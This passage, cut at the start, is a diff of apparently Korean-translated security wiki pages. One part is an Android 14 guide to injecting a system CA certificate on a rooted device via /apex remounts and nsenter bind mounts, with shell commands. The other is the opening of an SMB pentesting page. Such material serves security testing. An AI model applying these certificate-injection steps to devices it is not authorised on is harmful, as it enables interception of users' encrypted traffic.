ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ด ํ”„๋กœ์„ธ์Šค๋Š” ์ƒˆ๋กœ์šด ๋งˆ์šดํŠธ ๋„ค์ž„์ŠคํŽ˜์ด์Šค์™€ ํ•จ๊ป˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹คํ–‰ํ•˜๋ฉฐ, ์—ฌ๊ธฐ์—๋Š” private **`/apex`** ๋งˆ์šดํŠธ๊ฐ€ ํฌํ•จ๋˜์–ด ์ด ๋””๋ ‰ํ„ฐ๋ฆฌ์— ๋Œ€ํ•œ ๋ณ€๊ฒฝ์„ ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค์™€ ๊ฒฉ๋ฆฌํ•ฉ๋‹ˆ๋‹ค. -๊ทธ๋Ÿผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  **`/apex`** ๋””๋ ‰ํ† ๋ฆฌ ๋‚ด์˜ system-trusted CA ์ธ์ฆ์„œ๋ฅผ ์ˆ˜์ •ํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ์— ๋Œ€ํ•œ ์šฐํšŒ ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ **`/apex`**์˜ PRIVATE propagation์„ ์ œ๊ฑฐํ•˜๊ธฐ ์œ„ํ•ด ์ˆ˜๋™์œผ๋กœ remountํ•˜๋Š” ๊ฒƒ์œผ๋กœ, ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์“ฐ๊ธฐ๊ฐ€ ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค. ์ ˆ์ฐจ๋Š” **`/apex/com.android.conscrypt`**์˜ ๋‚ด์šฉ์„ ๋‹ค๋ฅธ ์œ„์น˜๋กœ ๋ณต์‚ฌํ•˜๊ณ , **`/apex/com.android.conscrypt`** ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์–ธ๋งˆ์šดํŠธํ•˜์—ฌ ์ฝ๊ธฐ ์ „์šฉ ์ œ์•ฝ์„ ์ œ๊ฑฐํ•œ ๋’ค, ๋‚ด์šฉ์„ ์›๋ž˜์˜ **`/apex`** ์œ„์น˜๋กœ ๋ณต์›ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์€ ์‹œ์Šคํ…œ ํฌ๋ž˜์‹œ๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ๋น ๋ฅด๊ฒŒ ์ง„ํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋ณ€๊ฒฝ์‚ฌํ•ญ์„ ์‹œ์Šคํ…œ ์ „๋ฐ˜์— ์ ์šฉํ•˜๋ ค๋ฉด ๋ชจ๋“  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‚ฌ์‹ค์ƒ ์žฌ์‹œ์ž‘ํ•˜๋Š” `system_server`๋ฅผ ์žฌ์‹œ์ž‘ํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. +๊ทธ๋Ÿผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  **`/apex`** ๋””๋ ‰ํ„ฐ๋ฆฌ ๋‚ด์˜ ์‹œ์Šคํ…œ ์‹ ๋ขฐ CA ์ธ์ฆ์„œ๋ฅผ ์ˆ˜์ •ํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ๋ฅผ ์œ„ํ•œ ์šฐํšŒ ๋ฐฉ๋ฒ•์€ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ PRIVATE propagation์„ ์ œ๊ฑฐํ•˜๊ธฐ ์œ„ํ•ด ์ˆ˜๋™์œผ๋กœ **`/apex`**๋ฅผ ์žฌ๋งˆ์šดํŠธ(remount)ํ•˜์—ฌ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋งŒ๋“œ๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๊ณผ์ •์€ **`/apex/com.android.conscrypt`**์˜ ๋‚ด์šฉ์„ ๋‹ค๋ฅธ ์œ„์น˜๋กœ ๋ณต์‚ฌํ•˜๊ณ , ์ฝ๊ธฐ ์ „์šฉ ์ œ์•ฝ์„ ์ œ๊ฑฐํ•˜๊ธฐ ์œ„ํ•ด **`/apex/com.android.conscrypt`** ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์–ธ๋งˆ์šดํŠธํ•œ ๋‹ค์Œ, ๋‚ด์šฉ์„ ์›๋ž˜ ์œ„์น˜์ธ **`/apex`** ๋‚ด๋กœ ๋ณต์›ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ์‹œ์Šคํ…œ ํฌ๋ž˜์‹œ๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ์‹ ์†ํ•˜๊ฒŒ ์ˆ˜ํ–‰๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋ณ€๊ฒฝ ์‚ฌํ•ญ์„ ์‹œ์Šคํ…œ ์ „์ฒด์— ์ ์šฉํ•˜๋ ค๋ฉด `system_server`๋ฅผ ์žฌ์‹œ์ž‘ํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋˜๋ฉฐ, ์ด๋Š” ๋ชจ๋“  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ํšจ๊ณผ์ ์œผ๋กœ ์žฌ์‹œ์ž‘ํ•˜๊ณ  ์‹œ์Šคํ…œ์„ ์ผ๊ด€๋œ ์ƒํƒœ๋กœ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -131,26 +131,26 @@ wait # Launched in parallel - wait for completion here echo "System certificate injected" ``` -### NSEnter๋ฅผ ํ†ตํ•œ Bind-mounting +### Bind-mounting through NSEnter -1. **์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ ์„ค์ •**: ์ฒ˜์Œ์—๋Š” ๊ธฐ์กด์˜ non-APEX ์‹œ์Šคํ…œ ์ธ์ฆ์„œ ๋””๋ ‰ํ„ฐ๋ฆฌ ์œ„์— `tmpfs`๋ฅผ ๋งˆ์šดํŠธํ•˜์—ฌ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋‹ค์Œ ๋ช…๋ น์–ด๋กœ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค: +1. **์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ ์„ค์ •**: ์ฒ˜์Œ์— ๊ธฐ์กด์˜ non-APEX ์‹œ์Šคํ…œ ์ธ์ฆ์„œ ๋””๋ ‰ํ„ฐ๋ฆฌ ์œ„์— `tmpfs`๋ฅผ ๋งˆ์šดํŠธํ•˜์—ฌ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค: ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` -2. **CA ์ธ์ฆ์„œ ์ค€๋น„**: ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ ์„ค์ • ํ›„, ์‚ฌ์šฉํ•˜๋ ค๋Š” CA ์ธ์ฆ์„œ๋ฅผ ์ด ๋””๋ ‰ํ„ฐ๋ฆฌ๋กœ ๋ณต์‚ฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—๋Š” `/apex/com.android.conscrypt/cacerts/`์—์„œ ๊ธฐ๋ณธ ์ธ์ฆ์„œ๋ฅผ ๋ณต์‚ฌํ•˜๋Š” ์ž‘์—…์ด ํฌํ•จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ธ์ฆ์„œ๋“ค์˜ ๊ถŒํ•œ๊ณผ SELinux ๋ผ๋ฒจ์„ ์ ์ ˆํžˆ ์กฐ์ •ํ•˜๋Š” ๊ฒƒ์ด ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. -3. **Zygote๋ฅผ ์œ„ํ•œ ๋ฐ”์ธ๋“œ ๋งˆ์šดํŠธ**: `nsenter`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Zygote์˜ ๋งˆ์šดํŠธ ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋กœ ๋“ค์–ด๊ฐ‘๋‹ˆ๋‹ค. Zygote๋Š” Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ•˜๋Š” ํ”„๋กœ์„ธ์Šค์ด๋ฏ€๋กœ, ์ดํ›„ ์‹œ์ž‘๋˜๋Š” ๋ชจ๋“  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ƒˆ๋กœ ๊ตฌ์„ฑํ•œ CA ์ธ์ฆ์„œ๋ฅผ ์‚ฌ์šฉํ•˜๋„๋ก ํ•˜๊ธฐ ์œ„ํ•ด ์ด ๋‹จ๊ณ„๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ๋˜๋Š” ๋ช…๋ น์€: +2. **CA ์ธ์ฆ์„œ ์ค€๋น„**: ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์„ค์ •ํ•œ ํ›„, ์‚ฌ์šฉํ•˜๋ ค๋Š” CA ์ธ์ฆ์„œ๋ฅผ ์ด ๋””๋ ‰ํ„ฐ๋ฆฌ๋กœ ๋ณต์‚ฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์€ `/apex/com.android.conscrypt/cacerts/`์— ์žˆ๋Š” ๊ธฐ๋ณธ ์ธ์ฆ์„œ๋ฅผ ๋ณต์‚ฌํ•˜๋Š” ์ž‘์—…์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ธ์ฆ์„œ๋“ค์˜ ๊ถŒํ•œ ๋ฐ SELinux ๋ผ๋ฒจ์„ ์ ์ ˆํžˆ ์กฐ์ •ํ•˜๋Š” ๊ฒƒ์ด ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. +3. **Zygote๋ฅผ ์œ„ํ•œ ๋ฐ”์ธ๋“œ ๋งˆ์šดํŠธ**: `nsenter`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Zygote์˜ ๋งˆ์šดํŠธ ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋กœ ์ง„์ž…ํ•ฉ๋‹ˆ๋‹ค. Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹œ์ž‘ํ•˜๋Š” ํ”„๋กœ์„ธ์Šค์ธ Zygote๋Š” ์ดํ›„ ์‹œ์ž‘๋˜๋Š” ๋ชจ๋“  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ƒˆ๋กœ ๊ตฌ์„ฑํ•œ CA ์ธ์ฆ์„œ๋ฅผ ์‚ฌ์šฉํ•˜๋„๋ก ๋ณด์žฅํ•˜๊ธฐ ์œ„ํ•ด ์ด ๋‹จ๊ณ„๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ๋˜๋Š” ๋ช…๋ น์€: ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์ƒˆ๋กœ ์‹œ์ž‘๋˜๋Š” ๋ชจ๋“  ์•ฑ์ด ์—…๋ฐ์ดํŠธ๋œ CA ์ธ์ฆ์„œ ์„ค์ •์„ ๋”ฐ๋ฅด๋„๋ก ๋ณด์žฅ๋ฉ๋‹ˆ๋‹ค. +์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์‹œ์ž‘๋˜๋Š” ๋ชจ๋“  ์ƒˆ๋กœ์šด ์•ฑ์ด ์—…๋ฐ์ดํŠธ๋œ CA ์ธ์ฆ์„œ ์„ค์ •์„ ๋”ฐ๋ฅด๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. -4. **์‹คํ–‰ ์ค‘์ธ ์•ฑ์— ๋ณ€๊ฒฝ์‚ฌํ•ญ ์ ์šฉ**: ์ด๋ฏธ ์‹คํ–‰ ์ค‘์ธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋ณ€๊ฒฝ์‚ฌํ•ญ์„ ์ ์šฉํ•˜๋ ค๋ฉด, `nsenter`๋ฅผ ๋‹ค์‹œ ์‚ฌ์šฉํ•˜์—ฌ ๊ฐ ์•ฑ์˜ ๋„ค์ž„์ŠคํŽ˜์ด์Šค์— ๊ฐœ๋ณ„์ ์œผ๋กœ ๋“ค์–ด๊ฐ€ ์œ ์‚ฌํ•œ bind mount๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ํ•„์š”ํ•œ ๋ช…๋ น์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: +4. **์‹คํ–‰ ์ค‘์ธ ์•ฑ์— ๋ณ€๊ฒฝ ์‚ฌํ•ญ ์ ์šฉํ•˜๊ธฐ**: ์ด๋ฏธ ์‹คํ–‰ ์ค‘์ธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋ณ€๊ฒฝ ์‚ฌํ•ญ์„ ์ ์šฉํ•˜๋ ค๋ฉด `nsenter`๋ฅผ ๋‹ค์‹œ ์‚ฌ์šฉํ•ด ๊ฐ ์•ฑ์˜ ๋„ค์ž„์ŠคํŽ˜์ด์Šค์— ๊ฐœ๋ณ„์ ์œผ๋กœ ๋“ค์–ด๊ฐ€ ์œ ์‚ฌํ•œ bind mount๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ํ•„์š”ํ•œ ๋ช…๋ น์€: ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -5. **๋Œ€์ฒด ๋ฐฉ๋ฒ• - ์†Œํ”„ํŠธ ๋ฆฌ๋ถ€ํŠธ**: ๋Œ€์ฒด ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” `init` ํ”„๋กœ์„ธ์Šค (PID 1)์— bind mount๋ฅผ ์ˆ˜ํ–‰ํ•œ ํ›„ `stop && start` ๋ช…๋ น์œผ๋กœ ์šด์˜์ฒด์ œ๋ฅผ ์†Œํ”„ํŠธ ๋ฆฌ๋ถ€ํŠธํ•˜๋Š” ๋ฐฉ์‹์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ๋ณ€๊ฒฝ์‚ฌํ•ญ์„ ๋ชจ๋“  ๋„ค์ž„์ŠคํŽ˜์ด์Šค์— ์ „ํŒŒํ•˜์—ฌ ์‹คํ–‰ ์ค‘์ธ ๊ฐ ์•ฑ์„ ๊ฐœ๋ณ„์ ์œผ๋กœ ์ฒ˜๋ฆฌํ•  ํ•„์š”๋ฅผ ์—†์• ์ค๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์žฌ๋ถ€ํŒ…์˜ ๋ถˆํŽธํ•จ ๋•Œ๋ฌธ์— ์ผ๋ฐ˜์ ์œผ๋กœ ์„ ํ˜ธ๋˜์ง€๋Š” ์•Š์Šต๋‹ˆ๋‹ค. +5. **๋Œ€์ฒด ๋ฐฉ๋ฒ• - Soft Reboot**: ๋Œ€์ฒด ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” `init` ํ”„๋กœ์„ธ์Šค (PID 1)์— bind mount๋ฅผ ์ˆ˜ํ–‰ํ•œ ๋‹ค์Œ `stop && start` ๋ช…๋ น์œผ๋กœ ์šด์˜์ฒด์ œ๋ฅผ soft rebootํ•˜๋Š” ๋ฐฉ์‹์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ๋ณ€๊ฒฝ์‚ฌํ•ญ์ด ๋ชจ๋“  ๋„ค์ž„์ŠคํŽ˜์ด์Šค์— ์ „ํŒŒ๋˜์–ด ์‹คํ–‰ ์ค‘์ธ ๊ฐ ์•ฑ์„ ๊ฐœ๋ณ„์ ์œผ๋กœ ์ฒ˜๋ฆฌํ•  ํ•„์š”๋ฅผ ์—†์•ฑ๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์žฌ๋ถ€ํŒ…์˜ ๋ฒˆ๊ฑฐ๋กœ์›€ ๋•Œ๋ฌธ์— ์ผ๋ฐ˜์ ์œผ๋กœ ์„ ํ˜ธ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. -## ์ฐธ๊ณ  ์ž๋ฃŒ +## ์ฐธ๊ณ ์ž๋ฃŒ - [Android 14: Install a system CA certificate on a rooted device](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 71d644483..de4d0ebd3 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,43 +4,43 @@ ## **ํฌํŠธ 139** -_**Network Basic Input Output System**_** (NetBIOS)** ์€ ๋กœ์ปฌ ์˜์—ญ ๋„คํŠธ์›Œํฌ(LAN) ๋‚ด์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜, PC ๋ฐ ๋ฐ์Šคํฌํ†ฑ์ด ๋„คํŠธ์›Œํฌ ํ•˜๋“œ์›จ์–ด์™€ ์ƒํ˜ธ์ž‘์šฉํ•˜๊ณ  **๋„คํŠธ์›Œํฌ ์ƒ์—์„œ์˜ ๋ฐ์ดํ„ฐ ์ „์†ก์„ ์šฉ์ดํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค**. NetBIOS ๋„คํŠธ์›Œํฌ์—์„œ ๋™์ž‘ํ•˜๋Š” ์†Œํ”„ํŠธ์›จ์–ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์‹๋ณ„ ๋ฐ ์œ„์น˜ ํ™•์ธ์€ ์ด๋“ค์˜ NetBIOS ์ด๋ฆ„์„ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง€๋ฉฐ, ์ด ์ด๋ฆ„์€ ์ตœ๋Œ€ 16์ž๊นŒ์ง€ ๊ฐ€๋Šฅํ•˜๊ณ  ์ข…์ข… ์ปดํ“จํ„ฐ ์ด๋ฆ„๊ณผ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. ๋‘ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ฐ„์˜ NetBIOS ์„ธ์…˜์€ ํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(ํด๋ผ์ด์–ธํŠธ๋กœ ๋™์ž‘)์ด ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(์„œ๋ฒ„๋กœ ๋™์ž‘)์— "call" ๋ช…๋ น์„ ๋ฐœํ–‰ํ•˜์—ฌ **TCP Port 139** ๋ฅผ ์ด์šฉํ•  ๋•Œ ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค. +The _**Network Basic Input Output System**_** (NetBIOS)** ์€ ๋กœ์ปฌ ์˜์—ญ ๋„คํŠธ์›Œํฌ(LAN) ๋‚ด์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜, PC ๋ฐ ๋ฐ์Šคํฌํ†ฑ์ด ๋„คํŠธ์›Œํฌ ํ•˜๋“œ์›จ์–ด์™€ ์ƒํ˜ธ์ž‘์šฉํ•˜๊ณ  **๋„คํŠธ์›Œํฌ๋ฅผ ํ†ตํ•œ ๋ฐ์ดํ„ฐ ์ „์†ก์„ ์šฉ์ดํ•˜๊ฒŒ ํ•˜๋Š”** ์†Œํ”„ํŠธ์›จ์–ด ํ”„๋กœํ† ์ฝœ์ž…๋‹ˆ๋‹ค. NetBIOS ๋„คํŠธ์›Œํฌ์—์„œ ๋™์ž‘ํ•˜๋Š” ์†Œํ”„ํŠธ์›จ์–ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์‹๋ณ„ ๋ฐ ์œ„์น˜ ํ™•์ธ์€ NetBIOS ์ด๋ฆ„์„ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง€๋ฉฐ, ํ•ด๋‹น ์ด๋ฆ„์€ ์ตœ๋Œ€ 16์ž๊นŒ์ง€ ๊ฐ€๋Šฅํ•˜๊ณ  ์ข…์ข… ์ปดํ“จํ„ฐ ์ด๋ฆ„๊ณผ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. ๋‘ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ฐ„์˜ NetBIOS ์„ธ์…˜์€ ํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(ํด๋ผ์ด์–ธํŠธ ์—ญํ• )์ด ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(์„œ๋ฒ„ ์—ญํ• )์„ "call" ํ•˜๋„๋ก ๋ช…๋ น์„ ๋ฐœํ–‰ํ•  ๋•Œ **TCP Port 139**๋ฅผ ์ด์šฉํ•˜์—ฌ ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -๊ธฐ์ˆ ์ ์œผ๋กœ Port 139์€ โ€˜NBT over IPโ€™๋กœ ๋ถˆ๋ฆฌ๊ณ , ๋ฐ˜๋ฉด Port 445๋Š” โ€˜SMB over IPโ€™๋กœ ์‹๋ณ„๋ฉ๋‹ˆ๋‹ค. ์•ฝ์–ด **SMB**๋Š” โ€˜**Server Message Blocks**โ€™๋ฅผ ๋œปํ•˜๋ฉฐ, ํ˜„๋Œ€์—๋Š” **Common Internet File System (CIFS)**๋กœ๋„ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ณ„์ธต์˜ ๋„คํŠธ์›Œํฌ ํ”„๋กœํ† ์ฝœ์ธ SMB/CIFS๋Š” ์ฃผ๋กœ ํŒŒ์ผ, ํ”„๋ฆฐํ„ฐ, ์ง๋ ฌ ํฌํŠธ์— ๋Œ€ํ•œ ๊ณต์œ  ์•ก์„ธ์Šค๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๊ณ  ๋„คํŠธ์›Œํฌ ์ƒ์˜ ๋…ธ๋“œ๋“ค ๊ฐ„์˜ ๋‹ค์–‘ํ•œ ํ˜•ํƒœ์˜ ํ†ต์‹ ์„ ์ด‰์ง„ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. +๊ธฐ์ˆ ์ ์œผ๋กœ, Port 139์€ โ€˜NBT over IPโ€™๋กœ ๋ถˆ๋ฆฌ๋Š” ๋ฐ˜๋ฉด, Port 445๋Š” โ€˜SMB over IPโ€™๋กœ ์‹๋ณ„๋ฉ๋‹ˆ๋‹ค. ์•ฝ์–ด **SMB**๋Š” โ€˜**Server Message Blocks**โ€™๋ฅผ ์˜๋ฏธํ•˜๋ฉฐ, ํ˜„๋Œ€์—๋Š” **Common Internet File System (CIFS)**๋กœ๋„ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ณ„์ธต ๋„คํŠธ์›Œํฌ ํ”„๋กœํ† ์ฝœ๋กœ์„œ SMB/CIFS๋Š” ์ฃผ๋กœ ํŒŒ์ผ, ํ”„๋ฆฐํ„ฐ, ์‹œ๋ฆฌ์–ผ ํฌํŠธ์— ๋Œ€ํ•œ ๊ณต์œ  ์ ‘๊ทผ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๊ณ  ๋„คํŠธ์›Œํฌ ์ƒ์˜ ๋…ธ๋“œ ๊ฐ„ ๋‹ค์–‘ํ•œ ํ˜•ํƒœ์˜ ํ†ต์‹ ์„ ์ด‰์ง„ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. -์˜ˆ๋ฅผ ๋“ค์–ด Windows ํ™˜๊ฒฝ์—์„œ๋Š” SMB๊ฐ€ port 445๋ฅผ ํ†ตํ•ด NetBIOS over TCP/IP ์—†์ด ์ง์ ‘ TCP/IP ์œ„์—์„œ ๋™์ž‘ํ•  ์ˆ˜ ์žˆ์Œ์ด ๊ฐ•์กฐ๋ฉ๋‹ˆ๋‹ค. ๋ฐ˜๋Œ€๋กœ ๋‹ค๋ฅธ ์‹œ์Šคํ…œ์—์„œ๋Š” port 139๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๊ด€์ฐฐ๋˜๋ฉฐ, ์ด๋Š” SMB๊ฐ€ NetBIOS over TCP/IP์™€ ํ•จ๊ป˜ ์‹คํ–‰๋˜๊ณ  ์žˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. +์˜ˆ๋ฅผ ๋“ค์–ด, Windows ๋งฅ๋ฝ์—์„œ๋Š” SMB๊ฐ€ ํฌํŠธ 445๋ฅผ ํ†ตํ•ด TCP/IP ์œ„์—์„œ ์ง์ ‘ ์ž‘๋™ํ•  ์ˆ˜ ์žˆ์–ด NetBIOS over TCP/IP๊ฐ€ ๋ถˆํ•„์š”ํ•ด์ง„๋‹ค๋Š” ์ ์ด ๊ฐ•์กฐ๋ฉ๋‹ˆ๋‹ค. ๋ฐ˜๋Œ€๋กœ ๋‹ค๋ฅธ ์‹œ์Šคํ…œ์—์„œ๋Š” ํฌํŠธ 139์˜ ์‚ฌ์šฉ์ด ๊ด€์ฐฐ๋˜๋ฉฐ, ์ด๋Š” SMB๊ฐ€ NetBIOS over TCP/IP์™€ ํ•จ๊ป˜ ์‹คํ–‰๋˜๊ณ  ์žˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -The **Server Message Block (SMB)** ํ”„๋กœํ† ์ฝœ์€ **client-server** ๋ชจ๋ธ๋กœ ๋™์ž‘ํ•˜๋ฉฐ **access to files**, ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ฐ ํ”„๋ฆฐํ„ฐ๋‚˜ ๋ผ์šฐํ„ฐ์™€ ๊ฐ™์€ ๋‹ค๋ฅธ ๋„คํŠธ์›Œํฌ ์ž์›์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ๊ทœ์ œํ•˜๋„๋ก ์„ค๊ณ„๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ฃผ๋กœ **Windows** ๊ณ„์—ด ์šด์˜์ฒด์ œ์—์„œ ์‚ฌ์šฉ๋˜๋ฉฐ, SMB๋Š” ํ•˜์œ„ ํ˜ธํ™˜์„ฑ์„ ์ œ๊ณตํ•˜์—ฌ ์ตœ์‹  ๋ฒ„์ „์˜ Microsoft ์šด์˜์ฒด์ œ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์žฅ์น˜๊ฐ€ ๊ตฌ๋ฒ„์ „ ์šด์˜์ฒด์ œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์žฅ์น˜์™€ ์›ํ™œํ•˜๊ฒŒ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ **Samba** ํ”„๋กœ์ ํŠธ๋Š” ๋ฌด๋ฃŒ ์†Œํ”„ํŠธ์›จ์–ด ์†”๋ฃจ์…˜์„ ์ œ๊ณตํ•˜์—ฌ **Linux** ๋ฐ **Unix** ์‹œ์Šคํ…œ์—์„œ SMB๋ฅผ ๊ตฌํ˜„ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ํ”Œ๋žซํผ ๊ฐ„ SMB ํ†ต์‹ ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. +The **Server Message Block (SMB)** protocol, operating in a **client-server** model, is designed for regulating **access to files**, directories, and other network resources like printers and routers. Primarily utilized within the **Windows** operating system series, SMB ensures backward compatibility, allowing devices with newer versions of Microsoft's operating system to seamlessly interact with those running older versions. Additionally, the **Samba** project offers a free software solution, enabling SMB's implementation on **Linux** and 